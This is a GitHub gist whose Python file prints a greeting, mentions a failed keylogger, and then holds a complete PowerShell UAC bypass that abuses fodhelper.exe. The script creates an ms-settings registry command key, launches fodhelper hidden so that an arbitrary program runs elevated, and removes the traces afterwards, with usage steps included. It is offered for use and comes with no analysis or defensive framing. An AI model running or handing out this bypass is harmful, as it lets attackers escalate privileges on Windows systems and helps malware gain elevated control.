Skip to content

Instantly share code, notes, and snippets.

@RezSat
Last active May 10, 2022 17:08
Show Gist options
  • Save RezSat/f27246b0866b5cb8a19b8b9bd07fbdc5 to your computer and use it in GitHub Desktop.
Save RezSat/f27246b0866b5cb8a19b8b9bd07fbdc5 to your computer and use it in GitHub Desktop.
print("hello, world!")
# Keylogger didn't worked. :(
#UAC Bypass with FodHelper.exe
#save the below code as something.ps1
#run it and then use something.ps1 -program cmd
"""
function FodhelperBypass(){
Param (
[String]$program = "cmd /c start powershell.exe" #default
)
#Create registry structure
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
#Perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
#Remove registry structure
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
}
"""
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment